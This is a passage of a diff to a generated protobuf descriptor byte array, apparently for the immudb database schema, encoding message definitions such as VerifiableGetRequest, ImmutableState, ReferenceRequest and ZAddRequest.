0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, - 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, - 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, - 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, - 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, - 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, + 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, + 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, + 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, + 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, + 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, + 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, + 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, + 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, + 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, + 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, + 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, + 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, + 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, + 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, + 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, + 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, + 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, - 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, - 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, - 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, - 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, - 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, - 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, - 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, - 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, + 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, + 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, + 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, + 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, - 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, - 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, - 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, - 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, - 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, - 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, + 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, + 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, + 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, + 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 